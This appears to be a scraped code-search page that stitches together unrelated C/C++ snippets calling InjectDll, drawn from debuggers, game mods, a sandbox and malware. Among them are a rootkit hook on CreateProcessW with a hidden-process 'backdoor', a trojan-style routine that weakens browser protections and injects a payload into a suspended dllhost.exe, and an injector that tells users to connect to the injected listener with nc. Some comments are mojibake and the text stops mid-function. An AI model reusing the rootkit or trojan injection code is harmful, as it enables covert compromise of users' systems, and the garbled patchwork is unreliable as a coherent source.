Error luainject dll could not be loaded into the process decode

BOOL InjectDllToOne(LPCTSTR szProc, int nMode, LPCTSTR szDllPath)
{
    int                     i = 0, nLen = (int)_tcslen(szProc);
	DWORD                   dwPID = 0;
	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32          pe;
    BOOL                    bMore = FALSE;

    // check if ProcName or PID
    for(i = 0; i < nLen; i++)
        if( !_istdigit(szProc[i]) )
            break;

    if( i == nLen )     // PID
    {
        dwPID = (DWORD)_tstol(szProc);
        
        if( nMode == INJECTION_MODE )
            InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
    }
    else                // ProcName
    {
        // Get the snapshot of the system
	    pe.dwSize = sizeof(PROCESSENTRY32);
	    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
        if( hSnapShot == INVALID_HANDLE_VALUE )
        {
            _tprintf(L"InjectDllToOne() : CreateToolhelp32Snapshot() failed!!! [%d]", 
                      GetLastError());
            return FALSE;
        }

	    // find process
	    bMore = Process32First(hSnapShot, &pe);
	    for( ; bMore; bMore = Process32Next(hSnapShot, &pe) )
	    {
		    dwPID = pe.th32ProcessID;

            // 시스템의 안정성을 위해서
            // PID 가 100 보다 작은 시스템 프로세스에 대해서는
            // DLL Injection 을 수행하지 않는다.
		    if( dwPID < 100 )
			    continue;

            if( !_tcsicmp(pe.szExeFile, szProc) )
            {
                if( nMode == INJECTION_MODE )
		            InjectDll(dwPID, szDllPath);
                else
                    EjectDll(dwPID, szDllPath);
            }
	    }

	    CloseHandle(hSnapShot);
    }

    return TRUE;
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
	DWORD                   dwPID = 0;
	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32          pe;

	// Get the snapshot of the system
	pe.dwSize = sizeof( PROCESSENTRY32 );
	hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

	// find process
	Process32First(hSnapShot, &pe);
	do
	{
		dwPID = pe.th32ProcessID;

        // 시스템의 안정성을 위해서
        // PID 가 100 보다 작은 시스템 프로세스에 대해서는
        // DLL Injection 을 수행하지 않는다.
		if( dwPID < 100 )
			continue;

        if( nMode == INJECTION_MODE )
		    InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
	}
	while( Process32Next(hSnapShot, &pe) );

	CloseHandle(hSnapShot);

	return TRUE;
}

/*============================================================================
 * windows MAIN
 */
int _tmain(int argc, _TCHAR* argv[])
{
  if( argc > 0 )
  {
    return (int)InjectDll( (DWORD)_wtoi( argv[ 0 ] ) );
  }
  return ERROR_INVALID_PARAMETER;
}

/**************************************
 * Inject code into a remote process. *
 **************************************/
BOOL Inject()
{
#ifdef INJECT_DLL
    return (InjectDll() != 0);
#else
    return (InjectCode() != 0);
#endif
}

bool DebugFrontend::InitializeBackend(const char* symbolsDirectory)
{

    if (GetIsBeingDebugged(m_processId))
    {
        MessageEvent("Error: The process cannot be debugged because it contains hooks from a previous session", MessageType_Error);
        return false;
    }

    char eventChannelName[256];
    _snprintf(eventChannelName, 256, "Decoda.Event.%x", m_processId);

    char commandChannelName[256];
    _snprintf(commandChannelName, 256, "Decoda.Command.%x", m_processId);
    
    // Setup communication channel with the process that is used to receive events
    // back to the frontend.
    if (!m_eventChannel.Create(eventChannelName))
    {
        return false;
    }

    // Setup communication channel with the process that is used to send commands
    // to the backend.
    if (!m_commandChannel.Create(commandChannelName))
    {
        return false;
    }

    // Inject our debugger DLL into the process so that we can monitor from
    // inside the process's memory space.
    if (!InjectDll(m_processId, "LuaInject.dll"))
    {
        MessageEvent("Error: LuaInject.dll could not be loaded into the process", MessageType_Error);
        return false;
    }

    // Wait for the client to connect.
    m_eventChannel.WaitForConnection();

    // Read the initialization function from the event channel.

    if (!ProcessInitialization(symbolsDirectory))
    {
        MessageEvent("Error: Backend couldn't be initialized", MessageType_Error);
        return false;
    }

    m_state = State_Running;

    // Start a new thread to handle the incoming event channel.
    DWORD threadId;
    m_eventThread = CreateThread(NULL, 0, StaticEventThreadProc, this, 0, &threadId);

    return true;

}

//		Backdoor : if application name or command line contains RTK_FILE_CHAR
//		the created process is *not* hooked.
//		Useful to launch hidden process from windows gui/cmd.exe that performs
//		a search before delegating the creation of the process to CreateProcess
//		To launch a non hijacked process using cmd, do the following :
//		run:  cmd.exe
//		type: cmd.exe _nti			(where _nti is RTK_FILE_CHAR )
//		then run your hidden program from the non hijacked shell
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, 
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
	int bResult, bInject=1;
	char msg[1024], cmdline[256], appname[256];

	OutputString("[i] CreateProcessW()n");

	// do not rely on info given by HijackApi() since we may have hijacked at GetProcAddress() level

	if(!fCreateProcessW) {
		fCreateProcessW = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),"CreateProcessW");
		if(!fCreateProcessW) return 0;
	}


	my_memset(msg, 0, 1024);
	my_memset(cmdline, 0, 256);
	my_memset(appname, 0, 256);
	 //Convert strings from unicode :
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpApplicationName, -1, appname, 255,NULL, NULL);
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpCommandLine, -1, cmdline, 255,NULL, NULL);
	OutputString("n[!!] Hooked CreateProcessW : %s - %s, injecting rootkit (%s)...n", (char*)appname, (char*)cmdline, (char*)kNTIDllPath);
	
	bResult = (int) fCreateProcessW((const unsigned short *)lpApplicationName,
		(unsigned short *)lpCommandLine, lpProcessAttributes, lpThreadAttributes,
		bInheritHandles, CREATE_SUSPENDED /*dwCreationFlags*/, 
		lpEnvironment, (const unsigned short *)lpCurrentDirectory,	
		(struct _STARTUPINFOW *)lpStartupInfo, lpProcessInformation);
	
	// inject the created process if its name & command line doesn't contain RTK_FILE_CHAR
	if(bResult)
	{
		if(lpCommandLine) {
			if(strstr((char*)cmdline,(char*)RTK_FILE_CHAR)){
				OutputString("n[i] CreateProcessW: Giving true sight to process '%s'...n", (char*)appname);
				WakeUpProcess(lpProcessInformation->dwProcessId);
				bInject = 0;
			}
		}
		if(lpApplicationName) {
			if(strstr((char*)appname,(char*)RTK_FILE_CHAR)) {
				OutputString("n[i] CreateProcessW: Giving true sight to process '%s'...n", (char*)appname);
				WakeUpProcess(lpProcessInformation->dwProcessId);
				bInject = 0;
			}
		}
		if(bInject) InjectDll(lpProcessInformation->hProcess, (char*)kNTIDllPath);

		CloseHandle(lpProcessInformation->hProcess);
		CloseHandle(lpProcessInformation->hThread); 
		
	}
	return bResult;
}

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp)
{
	PIO_STACK_LOCATION io;
	PINJECT_INFO InjectInfo;

	NTSTATUS status;

	io=IoGetCurrentIrpStackLocation(irp);
	irp->IoStatus.Information=0;

	switch(io->MajorFunction)
	{
	    case IRP_MJ_CREATE:
			status=STATUS_SUCCESS;
			break;
		case IRP_MJ_CLOSE:
			status=STATUS_SUCCESS;
			break;
		case IRP_MJ_READ:
			status=STATUS_SUCCESS;
			break;
		case IRP_MJ_WRITE:

			InjectInfo=(PINJECT_INFO)MmGetSystemAddressForMdlSafe(irp->MdlAddress,NormalPagePriority);

			if(!InjectInfo)
			{
				status=STATUS_INSUFFICIENT_RESOURCES;
				break;
			}

			if(!InjectDll(InjectInfo))
			{
				status=STATUS_UNSUCCESSFUL;
				break;
			}

			status=STATUS_SUCCESS;
			irp->IoStatus.Information=sizeof(INJECT_INFO);

			break;

		default:
			status=STATUS_INVALID_DEVICE_REQUEST;
			break;
	}

	irp->IoStatus.Status=status;

	IoCompleteRequest(irp,IO_NO_INCREMENT);
	return status;
}

int _tmain(int argc,TCHAR *argv[]) {
	if (argc != 3) {
		_tprintf(L"USAGE:%s pid dll_pathn",argv[0]);
		return 1;
	}
	// inject dll
	if (InjectDll((DWORD)_tstol(argv[1]), argv[2])) 
		_tprintf(L"InjectDll("%s") success!n",argv[2]);
	else
		_tprintf(L"InjectDll("%s") failed!n", argv[2]);
	
	return 0;
}

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
	PIO_STACK_LOCATION io;
	PINJECT_INFO InjectInfo;
	NTSTATUS  Status = STATUS_SUCCESS;
	PIO_STACK_LOCATION   IrpSp;
	PVOID     InputBuffer  = NULL;
	PVOID     OutputBuffer = NULL;
	ULONG_PTR InputSize  = 0;
	ULONG_PTR OutputSize = 0;
	ULONG_PTR IoControlCode = 0;

	IrpSp = IoGetCurrentIrpStackLocation(Irp);
 	InputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;
 	InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 	OutputSize  = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;
	IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

	switch(IoControlCode)
	{
	case CTL_KEINJECTAPC:

		InjectInfo=(PINJECT_INFO)InputBuffer;

		if(!InjectInfo)
		{
			Status=STATUS_INSUFFICIENT_RESOURCES;
			break;
		}

		if(!InjectDll(InjectInfo))
		{
			Status=STATUS_UNSUCCESSFUL;
			break;
		}

		Status=STATUS_SUCCESS;
		Irp->IoStatus.Information=0;

		break;

	default:
		Status=STATUS_INVALID_DEVICE_REQUEST;
		break;
	}

	Irp->IoStatus.Status=Status;

	IoCompleteRequest(Irp,IO_NO_INCREMENT);
	return Status;
}

// command for inject button
void CdllInjectDoc::InjectSelected(CListCtrl* lv, LPSTR szDllName)
{
	POSITION pos = lv->GetFirstSelectedItemPosition();
	
	int index = 0;
	TCHAR pid[21];
	TCHAR cPid[21] = {0};
	DWORD dwPid;

	while((index = lv->GetNextSelectedItem(pos)) != -1)
	{
		memcpy_s(pid, 21, cPid, 21);

		lv->GetItemText(index, 1, pid, 20);
		dwPid = _ttoi(pid);

		TCHAR exeFile[MAX_PATH];
		lv->GetItemText(index, 0, exeFile, MAX_PATH);

		TCHAR line[260];
		_stprintf_s(line, 260, _T("Injecting %s(%s)... "), exeFile, pid);		

		writeLog(CString(line));

		CString temp;
		temp.Append(exeFile);
		temp += _T("|");
		temp.Append(pid);
		temp += _T("|");

		int aa = pidInfo.Find(temp, 0);

		if (pidInfo.Find(temp, 0) != -1)
		{
			writeLog(CString("Already Injected.rn"));
			continue;
		}

		if (InjectDll(dwPid, szDllName) == TRUE)
		{
			writeLog(CString("SUCCEED.rn"));
			pidInfo += temp;
		}
		else
			writeLog(CString("FAILED.rn"));
	}
}

int _tmain(int argc, _TCHAR* argv[])
{
	// 提升权限
	EnablePrivilege(TRUE);

	// 打开进程
	HWND hwnd = FindWindow(_T("BASE"), _T("搶曽嵁庫揱丂乣 Legacy of Lunatic Kingdom. ver 1.00b")); // 日文编码就是这样...
	DWORD pid;
	GetWindowThreadProcessId(hwnd, &pid);
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (process == NULL)
	{
		printf("打开进程失败，错误代码：%un", GetLastError());
		return 1;
	}

	// 要将TH15Render.dll放在本程序当前目录下
	TCHAR dllPath[MAX_PATH]; // 要用绝对路径
	GetCurrentDirectory(_countof(dllPath), dllPath);
	_tcscat_s(dllPath, _T("\TH15Render.dll"));


	// 注入DLL
	HMODULE remoteModule = InjectDll(process, dllPath);
	if (remoteModule == NULL)
	{
		CloseHandle(process);
		return 2;
	}

	// 暂停
	printf("按回车卸载DLLn");
	getchar();

	// 卸载DLL
	if (!FreeRemoteDll(process, remoteModule))
	{
		CloseHandle(process);
		return 3;
	}


	// 关闭进程
	CloseHandle(process);

	return 0;
}

int main(int argc, char *argv[])  
{  
    SetPrivilege(SE_DEBUG_NAME, TRUE);  
    // InjectDll.exe <PID> <dllpath>  
    if( argc != 3 )  
    {  
        printf("Ó÷¨ : %s <½ø³ÌPID> <dll·¾¶>/n", argv[0]);  
        return 1;  
    }  
    if( !InjectDll((DWORD)atoi(argv[1]), argv[2]) )  
    {  
        printf("InjectDllµ÷ÓÃʧ°Ü£¡/n");  
        return 1;  
    }  
    printf("InjectDllµ÷Óóɹ¦£¡/n");  
    return 0;  
}  

int _tmain(int argc, TCHAR* argv[])
{
    if( argc != 4 )
    {
        usage();
        return 1;
    }

	// adjust privilege
	_EnableNTPrivilege(SE_DEBUG_NAME, SE_PRIVILEGE_ENABLED);

    // InjectDll.exe <i|e> <PID> <dll_path>
    if( !_tcsicmp(argv[1], L"i") )
        InjectDll((DWORD)_tstoi(argv[2]), argv[3]);
    else if(!_tcsicmp(argv[1], L"e") )
        EjectDll((DWORD)_tstoi(argv[2]), argv[3]);

	return 0;
}

BOOL InjectDllToAll(int nMode, LPCTSTR szDllPath)
{
	DWORD                   dwPID = 0;
	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32          pe;
    BOOL                    bMore = FALSE;

	// Get the snapshot of the system
	pe.dwSize = sizeof(PROCESSENTRY32);
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    if( hSnapShot == INVALID_HANDLE_VALUE )
    {
        _tprintf(L"InjectDllToAll() : CreateToolhelp32Snapshot() failed!!! [%d]", 
                  GetLastError());
        return FALSE;
    }

	// find process
	bMore = Process32First(hSnapShot, &pe);
	for( ; bMore; bMore = Process32Next(hSnapShot, &pe) )
	{
		dwPID = pe.th32ProcessID;

        // 예외 프로세스 : [System Process], System, smss.exe, csrss.exe
        if( dwPID < 100 ||
            !_tcsicmp(pe.szExeFile, L"smss.exe") ||
            !_tcsicmp(pe.szExeFile, L"csrss.exe") )
        {
            _tprintf(L"%s(%d) => System Process... DLL %s is impossible!n", 
                   pe.szExeFile, dwPID, nMode==INJECTION_MODE ? L"Injection" : L"Ejection");
            continue;
        }

        if( nMode == INJECTION_MODE )
		    InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
	}

	CloseHandle(hSnapShot);

	return TRUE;
}

void KInject::Inject2(HANDLE hProcess, HANDLE hThread){
	DWORD ret;
	char szDLL[MAX_PATH];

	//Intruder.dll full path
	//	GetModuleFileNameA(0, szDLL, MAX_PATH);
	//	for(DWORD i=(DWORD)strlen(szDLL); i>0; i--){if(szDLL[i-1]=='\'){szDLL[i]=0; break;}}
	//	strcat(szDLL, "intruder.dll");

	strcpy(szDLL, "C:\apilog\intruder.dll");
	int len = strlen(szDLL) + 1;
	PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);  
	if (param != NULL)  
	{  
		if (WriteProcessMemory(hProcess, param, (LPVOID)szDLL, len, &ret)) {  
			InjectDll(hProcess, hThread, (DWORD)param);   
		}  
	}
}

int _tmain(int argc, TCHAR *argv[])
{
    if( argc != 3)
    {
        _tprintf(L"USAGE : %s <pid> <dll_path>n", argv[0]);
        return 1;
    }

    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
        return 1;

    // inject dll
    if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
        _tprintf(L"InjectDll("%s") success!!!n", argv[2]);
    else
        _tprintf(L"InjectDll("%s") failed!!!n", argv[2]);

    return 0;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
	switch (lParam) {
		case INJECT_DLL:{
			if (getwindowtext(hwnd) == "Diablo II") {
				string path = getexepath(hwnd);
				if (path == "")	MessageBox(hwnd, str_to_wstr("Could not get Diablo II exe path.n" + error_code_to_text(GetLastError())).c_str(), L"ERROR", MB_OK);
				string exename = path.substr(path.rfind("\") + 1, path.size() - path.rfind("\"));
				if (exename == "Game.exe") {
					if (!isInjected(hwnd)) {
						if (!InjectDll(hwnd)) {
							MessageBox(hwnd, L"Injection failed", L"ERROR", MB_OK);
							break;
						}
					}
				}
			}
			break;
		}
	}
	return TRUE;
}

static void Run()
{
   SetFirefoxPrefs();
   DisableMultiProcessesAndProtectedModeIe();
   InitPanelRequest();
   BYTE *mainPluginPe = NULL;
   
   GetDlls(&mainPluginPe, NULL, FALSE);

   char dllhostPath[MAX_PATH] = { 0 };
   
   Funcs::pSHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, dllhostPath);

   Funcs::pLstrcatA(dllhostPath, Strs::fileDiv);
   Funcs::pLstrcatA(dllhostPath, Strs::dllhostExe);

   STARTUPINFOA        startupInfo = { 0 };
   PROCESS_INFORMATION processInfo = { 0 };

   startupInfo.cb = sizeof(startupInfo);

   Funcs::pCreateProcessA(dllhostPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo); 
   InjectDll(mainPluginPe, processInfo.hProcess, FALSE);
}

/*
    Función: InjectorDll
    Descripción: Proceso principal encargado de crear el nuevo proceso e 
                 e insertar en memoria del proceso cargado los datos necesarios
                 para poder cargarse la dll especificada
    Parametros: 
        program_name    - Nombre del programa
        dll_name        - Nombre de la dll
    Retorno: 
        _ERROR__        - Fallo en alguno de los pasos del proceso
        _SUCCESS__      - Funcionamiento correcto del proceso
*/
int 
InjectorDll
(    
    const char * dll_name, 
    const char * typeapp, 
    const char * program_name, 
    DWORD pid 
)
{
    STARTUPINFO           startup_info;
    PROCESS_INFORMATION   pinfo;
    int                   return_function;
    char                * debug_string;
    int                   type_of_app;
    DWORD                 create_flag;
 
    // Inicializacion de variables locales
    ZeroMemory( & startup_info       , sizeof(startup_info) );
    ZeroMemory( & pinfo, sizeof(pinfo) );    
    startup_info.cb = sizeof(startup_info);
    return_function = _SUCCESS__;    
            
    
    // Controlamos si debemos lanzar el proceso o engancharnos a uno ya creado
    if ( program_name == NULL )
    {
        // Nos enganchamos al proceso ya creado
        debug_string = "Open process";
        pinfo.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
        if ( pinfo.hProcess == NULL )
        {
            printf( " [FAIL] - %sn", debug_string );
            ShowGetLastErrorString( "InjectorDll:OpenProcess(pid)" );
    
            return _ERROR__;
        }
        else
        {
            printf( "n [OK]   - Procces Attached [%04d].n", pid );      
        }
        
    } 
    else
    {
        // Mostramos los datos del programa
        ShowInjectorTask( program_name, dll_name );
        
        // Checkeamos el tipo de programa 
        if ( !strcmp( typeapp, "-c" ) )             
            type_of_app = _CONS_APP__;
        else if ( !strcmp( typeapp, "-g" ) )        
            type_of_app = _GUI_APP__;                            
        else if ( !strcmp( typeapp, "-u" ) )        
            type_of_app = GetTypeOfApp( ( LPTSTR ) program_name );        
        else
            return _ERROR__;
            
        if ( type_of_app == _CONS_APP__ )
        {
            puts( " [OK]   - CONSOLE." ); 
             create_flag = CREATE_SUSPENDED | CREATE_NEW_CONSOLE;     
        }
        else if ( type_of_app == _GUI_APP__ )
        {
            puts( " [OK]   - GUI" );
            create_flag = 0;
        }
        else if ( type_of_app == _UNK_APP__ )
            puts( " [OK]   - UNKNOW" );
        
                                  
        // Creamos el proceso en funcion del tipo de exe
        debug_string = "Create process";
        if 
        ( 
            CreateProcess
            (  
                NULL                                  ,
                (LPTSTR) program_name                 ,
                NULL                                  ,
                NULL                                  ,
                FALSE                                 ,
                create_flag                           ,      
                NULL                                  ,
                NULL                                  ,
                & startup_info                        ,
                & pinfo
            ) 
            == 
            0 
        )
        {
            printf( " [FAIL] - %sn", debug_string );
            ShowGetLastErrorString( "InjectorDll:CreateProcess(program_name)" );
    
            return _ERROR__;
        }
                                    
        // Mostramos los datos del proceso creado
        printf
        ( 
            " [OK]   - %s:n"
            "     [INFO] PID:       0x%04Xn"
            "     [INFO] P. HANDLE: 0x%08Xn"
            "     [INFO] TID:       0x%04Xn"
            "     [INFO] T. HANDLE: 0x%08Xn"                        
            
            , debug_string
            , pinfo.dwProcessId 
            , pinfo.hProcess 
            , pinfo.dwThreadId 
            , pinfo.hThread                                     
        );               
    
        // Esperamos a la carga del proceso en memoria y en ese momento
        // suspendemos el hilo principal para poder trabajar con el sin problemas
        // en caso de que sea una aplicacion con ventanas
        if ( type_of_app == _GUI_APP__ )
        {
            debug_string = " Waiting for process load.";
            if 
            ( 
                WaitForInputIdle( pinfo.hProcess, INFINITE ) 
                == 
                0
            )
            {
    
                debug_string = "Suspension of remote main thread.";
                if ( SuspendThread( pinfo.hThread ) == -1 )
                {
                    printf( " [FAIL] - %sn", debug_string );
                    ShowGetLastErrorString
                        ( "InjectorDll:SuspendThread(_GUI_APP__)" );
     
                    return_function = _ERROR__;
                }
                else            
                {
                    printf( " [OK]   - %s.n", debug_string );
                    return_function == _SUCCESS__;
                }
            }
            else
            {
                printf( " [ERROR] - %sn", debug_string );
                ShowGetLastErrorString
                    ( "InjectorDll:WaitForInputIdle(_GUI_APP__)" );                   
            
                return_function = _ERROR__;
            }
        } 
        
    }

    // Preparamos y inyectamos la carga de la DLL en el proceso indicado
    if ( return_function == _SUCCESS__ )
    {
        puts( " [INFO] - Injecting DLL... " );
        
        debug_string = " DLL injected.";
        if ( InjectDll( pinfo.hProcess, dll_name ) == _SUCCESS__ )
        {
            printf( " [OK]   - %sn", debug_string );                          
        }
        else
        {
            printf( " [FAIL] - %sn", debug_string );
            return_function = _ERROR__;
        }
    }

    // Controlamos los errores y si pasa algo terminamos el proceso remoto
    if ( return_function == _ERROR__ )
    {
        debug_string = " Remote process ended due to an error.";
        if ( TerminateProcess( pinfo.hProcess, 0 ) == -1 )
        {
            printf( " [FAIL] - %sn", debug_string );
            ShowGetLastErrorString
                ( "InjectorDll:TerminateProcess(program)" );
        }
        else
            printf( " [OK]   - %s.n", debug_string );
    }
    
    debug_string = " Injection ended:";
    if ( return_function == _SUCCESS__ )
    {
        printf
        (
            "n"
            " [OK]   - %sn" 
            "     Try to connect to port written in n"
            "     C:\ph_listen_ports.log, syntax: PID-PORTn"
            "     Example: nc 127.0.0.1 1234 (1234 is the first default port)n"
            ,
            
            debug_string 
        );
    }
    else
        printf( "n [FAIL] - %sn", debug_string );
    
    
    return return_function;
}

BOOL WINAPI HookCreateProcessInternalW (HANDLE hToken,
										LPCWSTR lpApplicationName,
										LPWSTR lpCommandLine,
										LPSECURITY_ATTRIBUTES lpProcessAttributes,
										LPSECURITY_ATTRIBUTES lpThreadAttributes,
										BOOL bInheritHandles,
										DWORD dwCreationFlags,
										LPVOID lpEnvironment,
										LPCWSTR lpCurrentDirectory,
										LPSTARTUPINFOW lpStartupInfo,
										LPPROCESS_INFORMATION lpProcessInformation,
										PHANDLE hNewToken)
{
	BOOL	ret		= FALSE;
	LPWSTR	lpfile	= lpCommandLine;
	BOOL    tohook	= FALSE;
	if (lpApplicationName && wcslen(lpApplicationName)>1)
	{
		lpfile = (LPWSTR)lpApplicationName;
	}
	/* 禁止启动16位程序 */
	if (dwCreationFlags&CREATE_SHARED_WOW_VDM || dwCreationFlags&CREATE_SEPARATE_WOW_VDM)
	{
		SetLastError(ERROR_INVALID_PARAMETER);
        return ret;
	}
	/* 存在不安全插件,注入保护 */
	if ( stristrW(lpfile, L"SumatraPDF.exe") || 
		 stristrW(lpfile, L"java.exe") ||
		 stristrW(lpfile, L"jp2launcher.exe"))
	{
	/* 静态编译时,不能启用远程注入 */
	#if !defined(LIBPORTABLE_STATIC)  
		dwCreationFlags |= CREATE_SUSPENDED;
		tohook = TRUE;
	#endif
	}
	/* 如果启用白名单制度(严格检查) */
	else if ( read_appint(L"General",L"EnableWhiteList") > 0 )
	{
		if ( !in_whitelist((LPCWSTR)lpfile) )
		{
		#ifdef _LOGDEBUG
			logmsg("the process %ls disabled-runesn",lpfile);
		#endif
			SetLastError( TrueRtlNtStatusToDosError(STATUS_ERROR) );
			return ret;
		}
	}
	else if ( in_whitelist((LPCWSTR)lpfile) )
	{
		;
	}
	/* 如果不存在于白名单,则自动阻止命令行程序启动 */
	else
	{
		if ( ProcessIsCUI(lpfile) )
		{
			#ifdef _LOGDEBUG
				logmsg("%ls process, disabled-runesn",lpfile);
			#endif
				SetLastError( TrueRtlNtStatusToDosError(STATUS_ERROR) );
				return ret;
		}
	}
	ret =  TrueCreateProcessInternalW(hToken,lpApplicationName,lpCommandLine,lpProcessAttributes,
		   lpThreadAttributes,bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,
		   lpStartupInfo,lpProcessInformation,hNewToken);
	if ( ret && tohook )
	{
	#ifdef _LOGDEBUG
		logmsg("InjectDll run .n");
	#endif
		InjectDll(lpProcessInformation);
	}
	return ret;
}	

void CdllInjectDoc::updateProcList(CListCtrl* lv, LPCTSTR imgName, LPSTR dllName)
{
	// create Process Snapshot
	HANDLE hSnapshot;
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	PROCESSENTRY32 pe = {sizeof(PROCESSENTRY32)};

	// first snapshot
	Process32First(hSnapshot, &pe);
	
	// index, pid string
	int index = 0;
	
	TCHAR pid[20];
	TCHAR emptyPid[20] = {0};

	wsprintf(pid, _T("%d"), pe.th32ProcessID);

	// 1st, 2nd item text (exe file, pid)
	CString first, second;
	first = lv->GetItemText(0, 0);
	second = lv->GetItemText(0, 1);

	// update first process information
	if (pe.th32ProcessID != _ttoi(second.GetBuffer(0)) ||
			_tcsicmp(pe.szExeFile, first.GetBuffer(0)) != 0)
	{
		lv->DeleteItem(0);
		index = lv->InsertItem(0, pe.szExeFile);
		lv->SetItem(index, 1, LVIF_TEXT, pid, 0, 0, 0, NULL);
	}

	// check automatic inject option
	if (imgName != NULL &&
			_tcsicmp(imgName,pe.szExeFile) == 0)
	{
		InjectDll(pe.th32ProcessID, dllName);
	}

	// empty pid string
	//memcpy_s(pid, 20, emptyPid, 20);

	// insert next items
	int i = index + 1;

	// update next process informations
	while(Process32Next(hSnapshot, &pe) != FALSE)
	{
		first = lv->GetItemText(i, 0);
		second = lv->GetItemText(i, 1);

		// check automatic inject option
		if (imgName != NULL &&
			_tcsicmp(imgName, pe.szExeFile) == 0)
		{
			// empty pid string
			memcpy_s(pid, 20, emptyPid, 20);

			_itot_s(pe.th32ProcessID, pid, 20, 10);

			CString temp;
			temp.Append(pe.szExeFile);
			temp += _T("|");
			temp.Append(pid);
			temp += _T("|");

			if (pidInfo.Find(temp, 0) != -1)
			{
				i++;
				continue;
			}

			TCHAR line[260];
			_stprintf_s(line, 260, _T("Injecting %s(%d)... "),
						pe.szExeFile, pe.th32ProcessID);

			writeLog(CString(line));

			if (InjectDll(pe.th32ProcessID, dllName) == TRUE)
			{
				writeLog(CString("SUCCEED.rn"));
				pidInfo += temp;
			}
			else
				writeLog(CString("FAILED.rn"));
		}

		// if already in listview, skip
		if (pe.th32ProcessID == _ttoi(second.GetBuffer(0)) &&
				_tcsicmp(pe.szExeFile, first.GetBuffer(0)) == 0)
		{
			i++;
			continue;
		}

		// delete old process info, and inform that is exited & delete from injection list
		CString temp;
		temp = first + _T("|") + second + _T("|");

		if (pidInfo.Find(temp) != -1)
		{
			CString output;
			output = _T("Process Exited: ") + first 
				+ _T("(") + second + _T(").")
				+ _T("rn");

			writeLog(output);

			pidInfo.Replace(temp, _T(""));
		}


		lv->DeleteItem(i);
		index = lv->InsertItem(i, pe.szExeFile);
		wsprintf(pid, _T("%d"), pe.th32ProcessID);
		lv->SetItem(index, 1, LVIF_TEXT, pid, 0, 0, 0, NULL);

		i++;
	}

	CloseHandle(hSnapshot);

	// if listcount is more than process list, delete records
	while (i < lv->GetItemCount())
	{
		// delete old process info, and inform that is exited & delete from injection list
		first = lv->GetItemText(i, 0);
		second = lv->GetItemText(i, 1);

		CString temp;
		temp = first + _T("|") + second + _T("|");

		if (pidInfo.Find(temp) != -1)
		{
			CString output;
			output = _T("Process Exited: ") + first 
					+ _T("(") + second + _T(").")
					+ _T("rn");

			writeLog(output);

			pidInfo.Replace(temp, _T(""));
		}

		lv->DeleteItem(i);

		i++;
	}
}

NTSTATUS WINAPI HookNtCreateUserProcess(PHANDLE ProcessHandle,PHANDLE ThreadHandle,
								  ACCESS_MASK ProcessDesiredAccess,ACCESS_MASK ThreadDesiredAccess,
								  POBJECT_ATTRIBUTES ProcessObjectAttributes,
								  POBJECT_ATTRIBUTES ThreadObjectAttributes,
								  ULONG CreateProcessFlags,
								  ULONG CreateThreadFlags,
								  PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
								  PVOID CreateInfo,
								  PNT_PROC_THREAD_ATTRIBUTE_LIST AttributeList)
{
	RTL_USER_PROCESS_PARAMETERS mY_ProcessParameters;
	PROCESS_INFORMATION ProcessInformation;
	NTSTATUS	status;
	BOOL		tohook	= FALSE;
	fzero(&mY_ProcessParameters,sizeof(RTL_USER_PROCESS_PARAMETERS));
	if ( stristrW(ProcessParameters->ImagePathName.Buffer, L"SumatraPDF.exe") || 
		 stristrW(ProcessParameters->ImagePathName.Buffer, L"java.exe") ||
		 stristrW(ProcessParameters->ImagePathName.Buffer, L"jp2launcher.exe"))
	{
		tohook = TRUE;
	}
	else if ( read_appint(L"General",L"EnableWhiteList") > 0 )
	{
		if ( ProcessParameters->ImagePathName.Length > 0 && 
			in_whitelist((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
		{
		#ifdef _LOGDEBUG
			logmsg("the process %ls in whitelistn",ProcessParameters->ImagePathName.Buffer);
		#endif
		}
		else
		{
		#ifdef _LOGDEBUG
			logmsg("the process %ls disabled-runesn",ProcessParameters->ImagePathName.Buffer);
		#endif
			ProcessParameters = &mY_ProcessParameters;
		}
	}
	else if ( in_whitelist((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
